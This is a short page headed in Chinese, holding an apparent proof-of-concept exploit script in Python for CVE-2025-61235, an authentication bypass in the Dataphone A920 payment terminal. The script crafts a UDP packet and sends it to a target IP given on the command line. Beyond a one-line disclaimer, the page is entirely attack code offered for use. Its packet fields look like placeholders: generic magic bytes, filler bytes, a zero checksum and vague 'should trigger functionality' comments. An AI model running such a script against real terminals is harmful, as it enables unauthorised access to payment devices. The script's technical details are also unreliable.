CVE-2025-61235 Dataphone A920 设备认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-61235 PoC - Dataphone A920 Authentication Bypass Note: This PoC is for educational and security research purposes only. """ import socket import struct import sys def craft_malicious_packet(): """ Craft a malicious packet based on public documentation. Fields contain arbitrary/trivial data that should be rejected but is accepted due to lack of validation. """ # Packet header (based on public documentation) header = b'\xAA\xBB\xCC\xDD' # Protocol magic bytes # Packet type - trigger functionality (arbitrary value) packet_type = b'\x00\x01' # Arbitrary fields that should normally cause rejection arbitrary_field1 = b'\x41' * 16 # Trivial repeated data arbitrary_field2 = b'\x42' * 8 # Payload with arbitrary data payload = b'\xFF\xFF\xFF\xFF' # Should trigger validation failure # Construct full packet packet = header + packet_type + arbitrary_field1 + arbitrary_field2 + payload # Add length and checksum (trivial values) length = struct.pack('<H', len(packet) + 4) checksum = b'\x00\x00' # Invalid checksum, but accepted return length + packet + checksum def exploit(target_ip, target_port=8080): """ Send malicious packet to trigger functionality without authentication. """ try: print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafting malicious packet for CVE-2025-61235...") packet = craft_malicious_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Sending packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[!] Device should trigger functionality without authentication") try: response, addr = sock.recvfrom(4096) print(f"[*] Received response: {response.hex()}") except socket.timeout: print(f"[*] No response received (may indicate successful exploitation)") sock.close() except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-61235.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)